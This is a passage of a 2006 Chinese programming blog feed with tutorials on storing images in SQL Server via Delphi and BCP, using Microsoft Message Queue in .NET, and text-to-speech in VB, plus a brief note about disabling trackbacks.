<P>“我们认为任何来参加演唱会的人都是平等的，他们都参与到音乐的创作之中。”Grateful Dead乐队的Mickey Hart说道。 </P>
<P>“我们成功第一的要素是运气。我们跟随着自己内心而选择了搜索，因为它既有用也有趣。”Brin这么解释如何创立Google。 <BR></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=392" /> 
	  <id>http://www.openx.cn/default.asp?id=392</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[Delphi处理SQL Server多媒体数据]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-11-29T17:00:05+08:00</updated>
	  <published>2006-11-29T17:00:05+08:00</published>
		  <summary type="html"><![CDATA[<STRONG>一、选择数据库<BR><BR></STRONG>　　1．问题<BR><BR>　　常用的桌面型数据库，如Access、Visual FoxPro等，使用比较简单，也可以管理多媒体信息。但由于数据库引擎不够强大，在管理少量多媒体数据时尚能正常运行，当数据量增大到一定程度后，数据库的反应就会变得异常缓慢，其性能也大幅下降。在达到某个临界点时，甚至还会出现数据库处理能力和待处理数据量的严重失衡，而导致假死状况的出现。笔者有过这样的经验，用Visual Fox Pro来管理1万名学生的照片档案和学籍信息，这时要进行查询必须经过长时间等待，最后不得不放弃。<BR><BR>　　2．治“标”<BR><BR>　　用一些技巧可以加快系统的运行，比如“化整为零”法。即将超大数据分散到众多数据表中，虽然可以有效地提高数据库的运行速度，但层次过多使查询、统计等变得十分不便，而且编程的复杂度和工作量也会随之大幅增加。<BR><BR>　　另外一个常用方法是将多媒体数据保存为独立的文件，在数据库中只存储这些文件的路径和文件名，从而避免了将海量数据直接存入数据库。这种为数据库减负瘦身的方法可用于任何数据库，通用性好，而且对性能的提升也是可观的，是一种已经得到广泛应用的治“标”方法。然而这种方法也有明显的缺点：结构复杂、不便维护、安全性差，更体现不出数据库的优点。还是以学籍管理为例，采用这种方法管理1万甚至更多学生的照片数据，程序非常复杂，维护也十分困难，依然不是治“本”之策。<BR><BR>　　3．治“本”<BR><BR>　　其实，要处理海量的多媒体数据，再先进的桌面型数据库都会捉襟见肘，笔者最后采用了企业级数据库。以SQL Server、Sybase、Oracle等为代表的企业级数据库具有更强大的性能、更完善的数据管理、更可靠的安全特性和更出色的网络功能，能够胜任非常复杂和庞大的数据管理任务，同时它们还提供了丰富的数据类型，以及针对多媒体管理特别优化的引擎。考虑综合性能、价格等各方面的因素，我们最终选择SQL Server 2000标准版作为系统的后台数据库。<BR><BR><BR><BR><STRONG>二、怎样处理多媒体数据</STRONG><BR><BR>　　1．多媒体数据的存储<BR><BR>　　多媒体信息包括图像、声音和视频等，它们都是以二进制数据集合的形式存在的，在本系统中处理的对象是图像。SQL Server提供了Image数据类型来存储可变长度二进制数据（大小范围为0~2GB）。但Image字段并不能将多媒体数据直接装入，必须经过一些中间步骤才能将数据存进去。下面以图像数据的存储为例，给大家介绍怎样在Delphi中实现这些中间步骤。<BR><BR>　　Delphi中的TStream数据类型以流的形式对字符或非字符数据进行存储，就像在内存中开辟了一个大小可变的临时缓存区。它不仅能方便地对外部文件进行读写，而且还可以将流中的全部数据直接转入数据库，所以用它作桥梁来完成数据存入工作是非常合适的。<BR><BR>　　下面的SavetoImage函数的功能是将TStream数据存入数据表的Image字段中。<BR><BR>
<TABLE width="90%" align=center bgColor=#e6e4dd border=1>
<TBODY>
<TR>
<TD>function SavetoImage(const Stream:TStream;const AField:TField):boolean;<BR>var<BR>FieldStr:string;<BR>PFieldStr:PChar;<BR>begin<BR>Result:=false;<BR>if (Assigned(AField)) and (Assigned(Stream)) then<BR>begin<BR>try<BR>Stream.Seek(0,0);<BR>SetLength(FieldStr,Stream.Size);<BR>PFieldStr:=PChar(FieldStr);<BR>Stream.Read(PFieldStr^,Stream.Size);<BR>AField.Value:=FieldStr;<BR>Result:=true;<BR>except<BR>end;<BR>end;<BR>end;</TD></TR></TBODY></TABLE><BR>　　下面是调用SavetoImage函数完成图像数据存储的程序片段。<BR><BR>
<TABLE width="90%" align=center bgColor=#e6e4dd border=1>
<TBODY>
<TR>
<TD>Var<BR>FS:TFileStream;<BR>begin<BR>FS:=TFileStream.Create('C:\Car001.jpg',fmOpenRead);<BR>SavetoImage(FS,Adodataset1.FieldBy<BR>Name('st_img'));<BR>FS.Free;<BR>end;</TD></TR></TBODY></TABLE><BR>　　其中，Adodataset1是与数据库进行连接的ADO数据集控件，st_img为Image字段。<BR><BR>　　2．多媒体数据的转移<BR><BR>　　利用SQL Server所带的BCP实用工具，可以很方便地将数据库部分或全部数据复制出来，包括二进制数据。对复制出的多媒体数据可以通过网络或移动存储设备将它们转移到远端的监控电脑上，再利用BCP将它们复制到监控数据库中，以便对多媒体数据进行回放或做其它处理。下面是简化了的将数据从数据库复制到外部文件和从外部文件复制入数据库的程序片段。<BR><BR>
<TABLE width="90%" align=center bgColor=#e6e4dd border=1>
<TBODY>
<TR>
<TD>var<BR>s1:string;<BR>begin<BR>s1:='bcp "select * from st2002..st2002_sf where st_flag=1" queryout c:\Media_data.dat -N -P -S sunnynt\hy2002';<BR>winexec(PChar(s1),sw_show);<BR>end;</TD></TR></TBODY></TABLE><BR>　　其中“select * from st2002..st2002_sf where st_flag=1”表示从st2002数据库的st2002_sf表中提取数据，“c:\Media_data.dat”为输出数据文件，参数queryout表示从查询中复制数据到外部文件，-N表示进行大容量数据复制操作，-P表示使用默认密码，-S提定进行数据复制操作的数据库服务器或实例。<BR><BR>
<TABLE width="90%" align=center bgColor=#e6e4dd border=1>
<TBODY>
<TR>
<TD>var<BR>s1:string;<BR>begin<BR>s1:= 'bcp ST2002..ST2002_SF in c:\Media_data.dat -n -E -P -S sunnynt \hy2002';<BR>winexec(PChar(s1),sw_show);<BR>end;</TD></TR></TBODY></TABLE><BR>　　其中参数in表示将数据从外部文件复制到数据表中。<BR><BR>　　3．多媒体数据的回放<BR><BR>　　同存储的方法类似，多媒体数据的回放也要借助TStream数据类型作桥梁，而且它基本上是存储的逆过程。<BR><BR>　　LoadfromImage函数的功能是将数据表的Image字段数据装入TStream中。<BR><BR>
<TABLE width="90%" align=center bgColor=#e6e4dd border=1>
<TBODY>
<TR>
<TD>function LoadfromImage(const AField:TField;const Stream:TStream):boolean;<BR>var<BR>ResultStr:string;<BR>PResultStr:PChar;<BR>begin<BR>Result:=false;<BR>if (Assigned(AField)) and (Assigned(Stream)) then<BR>begin<BR>try<BR>ResultStr:=AField.Value;<BR>PResultStr:=PChar(ResultStr);<BR>Stream.Write(PResultStr^,length(Result<BR>Str));<BR>Stream.Seek(0,0);<BR>Result:=True;<BR>except<BR>end;<BR>end;<BR>end;</TD></TR></TBODY></TABLE><BR>　　下面是调用LoadfromImage函数将数据表Image字段中的图像数据转出到外部文件中并利用图像显示控件回放图像的程序片段。<BR><BR>
<TABLE width="90%" align=center bgColor=#e6e4dd border=1>
<TBODY>
<TR>
<TD>var<BR>FS:TFileStream;<BR>begin<BR>FS:=TFileStream.Create('c:\Car001.jpg',fmCreate);<BR>LoadfromImage(adodataset1.fieldby<BR>name('st_img'),FS);<BR>FS.Free;<BR>image1.picture.LoadFromFile('c:\Car001.jpg');<BR>end;</TD></TR></TBODY></TABLE><BR>　　<STRONG>三、小结</STRONG><BR><BR>　　其它多媒体数据类型如声音、视频等的转出过程与图像的转出完全相同，只是回放部分应针对不同媒体类型采用不同的媒体播放控件。<BR><BR>　　上面所述的原型程序在Delphi 5/6/7+SQL Server 2000标准版中调试通过，经过适当的扩充和修改后，这些程序在笔者开发的高速公路收费系统中得到了验证。同样，这些程序也可使用在如学籍管理、档案管理、人事管理、商品交易等涉及到多媒体数据的应用系统中。<BR><BR>　　如今已经是数码时代，DC、DV、MP3等数码设备正逐渐深入到我们生活和工作中，它们产生的图像、视频、声音等多媒体信息呈爆炸式增长，如何有效管理这些多媒体信息成为摆在我们面前的课题。本文简单讨论了利用SQL Server数据库对多媒体信息进行管理的几个基本问题，其原理同样适合Sybase、Oracle等数据库和Powerbuilder、VB等前端开发工具。]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=391" /> 
	  <id>http://www.openx.cn/default.asp?id=391</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[消息队列（Message Queue）简介及其使用]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-11-28T17:33:23+08:00</updated>
	  <published>2006-11-28T17:33:23+08:00</published>
		  <summary type="html"><![CDATA[<DIV align=center><STRONG>消息队列（</STRONG><STRONG>Message Queue</STRONG><STRONG>）简介及其使用</STRONG><STRONG></STRONG></DIV>
<DIV></DIV>
<DIV>&nbsp;</DIV>
<DIV>利用 MSMQ（Microsoft Message Queue），应用程序开发人员可以通过发送和接收消息方便地与应用程序进行快速可靠的通信。消息处理为您提供了有保障的消息传递和执行许多业务处理的可靠的防故障方法。</DIV>
<DIV>MSMQ与XML Web Services和.Net Remoting一样，是一种分布式开发技术。但是在使用XML Web Services或.Net Remoting组件时，Client端需要和Server端实时交换信息，Server需要保持联机。MSMQ则可以在Server离线的情况下工作，将Message临时保存在Client端的消息队列中，以后联机时再发送到Server端处理。</DIV>
<DIV>显然，MSMQ不适合于Client需要Server端及时响应的这种情况，MSMQ以异步的方式和Server端交互，不用担心等待Server端的长时间处理过程。</DIV>
<DIV>&nbsp;</DIV>
<DIV>虽然XML Web Services和.Net Remoting都提供了[OneWay]属性来处理异步调用，用来解决Server端长方法调用长时间阻碍Client端。但是不能解决大量Client负载的问题，此时Server接受的请求快于处理请求。</DIV>
<DIV>一般情况下，[OneWay]属性不用于专门的消息服务中。</DIV>
<DIV>&nbsp;</DIV>
<DIV><STRONG>1. </STRONG><STRONG>基本术语和概念（</STRONG><STRONG>Basic terms and concepts</STRONG><STRONG>）</STRONG><STRONG></STRONG></DIV>
<DIV>“消息”是在两台计算机间传送的数据单位。消息可以非常简单，例如只包含文本字符串；也可以更复杂，可能包含嵌入对象。</DIV>
<DIV>&nbsp;</DIV>
<DIV>消息被发送到队列中。“消息队列”是在消息的传输过程中保存消息的容器。消息队列管理器在将消息从它的源中继到它的目标时充当中间人。队列的主要目的是提供路由并保证消息的传递；如果发送消息时接收者不可用，消息队列会保留消息，直到可以成功地传递它。</DIV>
<DIV>&nbsp;</DIV>
<DIV>“消息队列”是 Microsoft 的消息处理技术，它在任何安装了 Microsoft Windows 的计算机组合中，为任何应用程序提供消息处理和消息队列功能，无论这些计算机是否在同一个网络上或者是否同时联机。</DIV>
<DIV>&nbsp;</DIV>
<DIV>“消息队列网络”是能够相互间来回发送消息的任何一组计算机。网络中的不同计算机在确保消息顺利处理的过程中扮演不同的角色。它们中有些提供路由信息以确定如何发送消息，有些保存整个网络的重要信息，而有些只是发送和接收消息。</DIV>
<DIV>&nbsp;</DIV>
<DIV>“消息队列”安装期间，管理员确定哪些服务器可以互相通信，并设置特定服务器的特殊角色。构成此“消息队列”网络的计算机称为“站点”，它们之间通过“站点链接”相互连接。每个站点链接都有一个关联的“开销”，它由管理员确定，指示了经过此站点链接传递消息的频率。</DIV>
<DIV>&nbsp;</DIV>
<DIV>“消息队列”管理员还在网络中设置一台或多台作为“路由服务器”的计算机。路由服务器查看各站点链接的开销，确定经过多个站点传递消息的最快和最有效的方法，以此决定如何传递消息。</DIV>
<DIV>&nbsp;</DIV>
<DIV><STRONG>2. </STRONG><STRONG>队列类型（</STRONG><STRONG>Queue Type</STRONG><STRONG>）</STRONG><STRONG></STRONG></DIV>
<DIV>有两种主要的队列类型：由您或网络中的其他用户创建的队列和系统队列。</DIV>
<DIV><STRONG>用户创建的队列可能是以下任何一种队列：</STRONG><STRONG> </STRONG></DIV>
<DIV>“公共队列”在整个“消息队列”网络中复制，并且有可能由网络连接的所有站点访问。 </DIV>
<DIV>“专用队列”不在整个网络中发布。相反，它们仅在所驻留的本地计算机上可用。专用队列只能由知道队列的完整路径名或标签的应用程序访问。 </DIV>
<DIV>“管理队列”包含确认在给定“消息队列”网络中发送的消息回执的消息。指定希望 MessageQueue 组件使用的管理队列（如果有的话）。 </DIV>
<DIV>“响应队列”包含目标应用程序接收到消息时返回给发送应用程序的响应消息。指定希望 MessageQueue 组件使用的响应队列（如果有的话）。 </DIV>
<DIV>&nbsp;</DIV>
<DIV><STRONG>系统生成的队列一般分为以下几类：</STRONG><STRONG> </STRONG></DIV>
<DIV>“日记队列”可选地存储发送消息的副本和从队列中移除的消息副本。每个“消息队列”客户端上的单个日记队列存储从该计算机发送的消息副本。在服务器上为每个队列创建了一个单独的日记队列。此日记跟踪从该队列中移除的消息。 </DIV>
<DIV>“死信队列”存储无法传递或已过期的消息的副本。如果过期或无法传递的消息是事务性消息，则被存储在一种特殊的死信队列中，称为“事务性死信队列”。死信存储在过期消息所在的计算机上。有关超时期限和过期消息的更多信息，请参见默认消息属性。 </DIV>
<DIV>“报告队列”包含指示消息到达目标所经过的路由的消息，还可以包含测试消息。每台计算机上只能有一个报告队列。 </DIV>
<DIV>“专用系统队列”是一系列存储系统执行消息处理操作所需的管理和通知消息的专用队列。 </DIV>
<DIV>在应用程序中进行的大多数工作都涉及访问公共队列及其消息。但是，根据应用程序的日记记录、确认和其他特殊处理需要，在日常操作中很可能要使用几种不同的系统队列。</DIV>
<DIV>&nbsp;</DIV>
<DIV><STRONG>3. </STRONG><STRONG>同步和异步通信（</STRONG><STRONG>Synchronous VS. Asynchronous Communication</STRONG><STRONG>）</STRONG><STRONG></STRONG></DIV>
<DIV>队列通信天生就是异步的，因为将消息发送到队列和从队列中接收消息是在不同的进程中完成的。另外，可以异步执行接收操作，因为要接收消息的人可以对任何给定的队列调用 BeginReceive 方法，然后立即继续其他任务而不用等待答复。这与人们所了解的“同步通信”截然不同。</DIV>
<DIV>&nbsp;</DIV>
<DIV>在同步通信中，请求的发送方在执行其他任务前，必须等待来自预定接收方的响应。发送方等待的时间完全取决于接收方处理请求和发送响应所用的时间。</DIV>
<DIV>&nbsp;</DIV>
<DIV><STRONG>4. </STRONG><STRONG>同消息队列交互（</STRONG><STRONG>Interacting with Message Queues</STRONG><STRONG>）</STRONG><STRONG></STRONG></DIV>
<DIV>消息处理和消息为基于服务器的应用程序组件之间的进程间通信提供了强大灵活的机制。同组件间的直接调用相比，它们具有若干优点，其中包括： </DIV>
<UL type=disc>
<LI>稳定性 — 组件失败对消息的影响程度远远小于组件间的直接调用，因为消息存储在队列中并一直留在那里，直到被适当地处理。消息处理同事务处理相似，因为消息处理是有保证的。 
<LI>消息优先级 — 更紧急或更重要的消息可在相对不重要的消息之前接收，因此可以为关键的应用程序保证足够的响应时间。 
<LI>脱机能力 — 发送消息时，它们可被发送到临时队列中并一直留在那里，直到被成功地传递。当因任何原因对所需队列的访问不可用时，用户可以继续执行操作。同时，其他操作可以继续进行，如同消息已经得到了处理一样，这是因为网络连接恢复时消息传递是有保证的。 
<LI>事务性消息处理 — 将多个相关消息耦合为单个事务，确保消息按顺序传递、只传递一次并且可以从它们的目标队列中被成功地检索。如果出现任何错误，将取消整个事务。 
<LI>安全性 — MessageQueue 组件基于的消息队列技术使用 Windows 安全来保护访问控制，提供审核，并对组件发送和接收的消息进行加密和验证。 </LI></UL>
<DIV>&nbsp;</DIV>
<DIV><STRONG>5. </STRONG><STRONG>在</STRONG><STRONG>.Net</STRONG><STRONG>环境下编写简单的</STRONG><STRONG>Message Queue</STRONG><STRONG>程序</STRONG><STRONG></STRONG></DIV>
<DIV>（1）先安装Message Queuing Services</DIV>
<DIV>通过Control Panel，“Add/Remove Programs” – “Add/Remove Windows Components”步骤安装MSMQ。</DIV>
<DIV>MSMQ可以安装为工作组模式或域模式。如果安装程序没有找到一台运行提供目录服务的消息队列的服务器，则只可以安装为工作组模式，此计算机上的“消息队列”只支持创建专用队列和创建与其他运行“消息队列”的计算机的直接连接。</DIV>
<DIV>&nbsp;</DIV>
<DIV>（2）配置MSMQ</DIV>
<DIV>打开Computer Management – Message Queuing，在Private Queues下创建MSMQDemo队列</DIV>
<DIV>&nbsp;</DIV>
<DIV>（3）编写代码－简单演示MSMQ对象</DIV>
<DIV>MessageQueue 类是“消息队列”周围的包装。MessageQueue 类提供对“消息队列”队列的引用。可以在 MessageQueue 构造函数中指定一个连接到现有资源的路径，或者可在服务器上创建新队列。在调用 Send、Peek 或 Receive 之前，必须将 MessageQueue 类的新实例与某个现有队列关联。</DIV>
<DIV>&nbsp;</DIV>
<DIV>MessageQueue 支持两种类型的消息检索：同步和异步。同步的 Peek 和 Receive 方法使进程线程用指定的间隔时间等待新消息到达队列。异步的 BeginPeek 和 BeginReceive 方法允许主应用程序任务在消息到达队列之前，在单独的线程中继续执行。这些方法通过使用回调对象和状态对象进行工作，以便在线程之间进行信息通讯。</DIV>
<DIV>// Send Message</DIV>
<DIV>private void btnSendMessage_Click(object sender, System.EventArgs e)</DIV>
<DIV>{</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // Open queue</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.Messaging.MessageQueue queue = new System.Messaging.MessageQueue(".\\Private$\\MSMQDemo");</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // Create message</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.Messaging.Message message = new System.Messaging.Message();</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; message.Body = txtMessage.Text.Trim();</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; message.Formatter = new System.Messaging.XmlMessageFormatter(new Type[] {typeof(string)});</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // Put message into queue</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; queue.Send(message);</DIV>
<DIV>}</DIV>
<DIV>&nbsp;</DIV>
<DIV>// Receive Message</DIV>
<DIV>private void btnReceiveMessage_Click(object sender, System.EventArgs e)</DIV>
<DIV>{</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // Open queue</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.Messaging.MessageQueue queue = new System.Messaging.MessageQueue(".\\Private$\\MSMQDemo");</DIV>
<DIV> </DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // Receive message, 同步的Receive方法阻塞当前执行线程，直到一个message可以得到 </DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.Messaging.Message message = queue.Receive(); </DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; message.Formatter = new System.Messaging.XmlMessageFormatter(new Type[] {typeof(string)});</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; txtReceiveMessage.Text = message.Body.ToString();</DIV>
<DIV>}</DIV>
<DIV>&nbsp;</DIV>
<DIV>Demo界面：</DIV>
<DIV><IMG height=268 alt="" src="http://www.cnblogs.com/images/cnblogs_com/rickie/MSMQ_Demo.GIF" width=428 border=0></DIV>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=390" /> 
	  <id>http://www.openx.cn/default.asp?id=390</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[对无聊的广告引用忍无可忍了!]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-11-22T08:44:34+08:00</updated>
	  <published>2006-11-22T08:44:34+08:00</published>
		  <summary type="html"><![CDATA[现在已经把 引用功能屏蔽了!呼呼!!!]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=389" /> 
	  <id>http://www.openx.cn/default.asp?id=389</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[利用TTS实现中文朗读(VB)]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-11-10T10:24:49+08:00</updated>
	  <published>2006-11-10T10:24:49+08:00</published>
		  <summary type="html"><![CDATA[&nbsp; 　一、安装TTS引擎 &nbsp; &nbsp; <BR>&nbsp; 　　TTS引擎所需的Microsoft &nbsp; Text-to-Speech &nbsp; Engine与Microsoft &nbsp; Speech &nbsp; API软件都可到微软的站点去下载，也可以在“金山词霸2000”或“金山词霸.net”的安装光盘上找到（文件名为MSTTS.EXE与SPCHAPI.EXE)。安装了TTS引擎后，在Windows所在目录下会生成一个SPEECH目录，其中有一个Vtxtauto.tlb文件，在编程时我们需要调用它。 &nbsp; &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　二、在VB中引入Vtxtauto.tlb文件 &nbsp; &nbsp; <BR>&nbsp; 　　进入VB &nbsp; 5.0，执行选单命令“文件/新建工程/标准EXE”并确定，然后执行选单“工程”中的“引用”，单击“浏览”按钮到Windows目录下的SPEECH子目录，打开Vtxtauto.tlb文件，将“VoiceText &nbsp; 1.0 &nbsp; Type &nbsp; Library”添加到引用列表中，选中它并单击确定。将库Vtxtauto引入VB后，我们可以通过选单“视图”中的“对象浏览器”来了解它所封装的类，以及各类成员函数的属性的意义、使用格式等信息。一些主要的方法与属性意义,笔者在下面的源程序中将给出注释，在这里就不详细列出，请参见附图1。 &nbsp; &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; &nbsp; &nbsp; <BR>&nbsp; 　　三、设置控件及属性 &nbsp; &nbsp; <BR>&nbsp; 　　在FORM1上添加三个Label控件、一个TextBox控件、一个HScrollBar控件和六个CommandButton控件。窗体及各控件的主要属性设置如下： &nbsp; &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　FORM1：Caption=“英文朗读” &nbsp; &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　LABEL1：Caption=“请输入英文文档” &nbsp; &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　LABEL2：Caption=“朗读速度” &nbsp; &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　LABEL3：Caption=“ &nbsp; ” &nbsp; &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　（LABEL3标签用来显示朗读速度值） &nbsp; &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　TEXT1：Text=“Please &nbsp; input &nbsp; english &nbsp; text”；ToolTiptext=“请输入或粘贴英文文档”； &nbsp; MultiLine=True；ScrollBars=3-Both &nbsp; &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　HSCROLL1:名称=SpeedChange；Min=90；Max=300（Min与Max属性值分别用来限定可调节的语速的最小与最大值） &nbsp; &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　COMMAND1：名称=read；Caption=“朗读” &nbsp; &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　COMMAND2：名称=pause；Caption=“暂停” &nbsp; &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　COMMAND3：名称=stop；Caption=“停止” &nbsp; &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　COMMAND4：名称=prev；Caption=“上一句” &nbsp; &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　COMMAND5：名称=next；Caption=“下一句” &nbsp; &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　COMMAND6：名称=quit；Caption=“退出” &nbsp; &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　四、编写代码 &nbsp; &nbsp; <BR>&nbsp; 　　下面我们就可以一步步地编写代码，具体代码如下： &nbsp; &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　'在窗体装载时调用Register方法注册，括号内的两个参数是字符串 &nbsp; &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　Private &nbsp; Sub &nbsp; Form_Load() &nbsp; &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　Call &nbsp; VTxtAuto.VTxtAuto.Register(Space(8), &nbsp; Space(8)) &nbsp; &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　'因为语速的默认值为170，故水平滚动条的初值也设为170 &nbsp; &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　SpeedChange.Value &nbsp; = &nbsp; 170 &nbsp; &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　End &nbsp; Sub &nbsp; &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　'设置朗读速度调节代码,当水平滚动条的值Value发生变化时将其赋给控制语速的Speed属性 &nbsp; &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　Private &nbsp; Sub &nbsp; SpeedChange_Change() &nbsp; &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　VTxtAuto.VTxtAuto.Speed=SpeedChange.Value &nbsp; &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　Label3.Caption &nbsp; = &nbsp; SpeedChange.Value &nbsp; &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　End &nbsp; Sub &nbsp; &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　'设置“朗读”按钮代码 &nbsp; &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　Private &nbsp; Sub &nbsp; read_Click() &nbsp; &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　'如果朗读出错，则转到出错处理标记模块ErrorHandler &nbsp; &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　On &nbsp; Error &nbsp; GoTo &nbsp; ErrorHandler &nbsp; &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　'调用方法Speak进行朗读，第一个参数是要朗读的文本，第二个参数是设置朗读风格 &nbsp; &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　Call &nbsp; VTxtAuto.VTxtAuto.speak(Trim(Text1.Text), &nbsp; vtxtsp_VERYHIGH &nbsp; + &nbsp; vtxtst_READING) &nbsp; &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　Exit &nbsp; Sub &nbsp; &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　ErrorHandler: &nbsp; &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　MsgBox &nbsp; "只能朗读英文文档，不能朗读汉字字符！", &nbsp; , &nbsp; "出错信息" &nbsp; &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　End &nbsp; Sub &nbsp; &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　'设置“暂停”按钮代码 &nbsp; &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　Private &nbsp; Sub &nbsp; pause_Click() &nbsp; &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　If &nbsp; VTxtAuto.VTxtAuto.IsSpeaking &nbsp; Then &nbsp; &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　'如果属性IsSpeaking为真，则表示正在朗读，调用AudioPause方法暂停朗读 &nbsp; &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　Call &nbsp; VTxtAuto.VTxtAuto.AudioPause &nbsp; &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　pause.Caption &nbsp; = &nbsp; "恢复" &nbsp; &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　Else &nbsp; &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　'如果已经处于暂停状态则调用AudioResume方法恢复朗读 &nbsp; &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　Call &nbsp; VTxtAuto.VTxtAuto.AudioResume &nbsp; &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　pause.Caption &nbsp; = &nbsp; "暂停" &nbsp; &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　End &nbsp; If &nbsp; &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　End &nbsp; Sub &nbsp; &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　'设置“停止”按钮代码，调用StopSpeaking方法停止当前朗读 &nbsp; &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　Private &nbsp; Sub &nbsp; stop_Click() &nbsp; &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　Call &nbsp; VTxtAuto.VTxtAuto.StopSpeaking &nbsp; &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　End &nbsp; Sub &nbsp; &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　'设置“上一句”按钮代码，调用AudioRewind方法往后跳过一句 &nbsp; &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　Private &nbsp; Sub &nbsp; prev_Click() &nbsp; &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　 &nbsp; Call &nbsp; VTxtAuto.VTxtAuto.AudioRewind &nbsp; &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　End 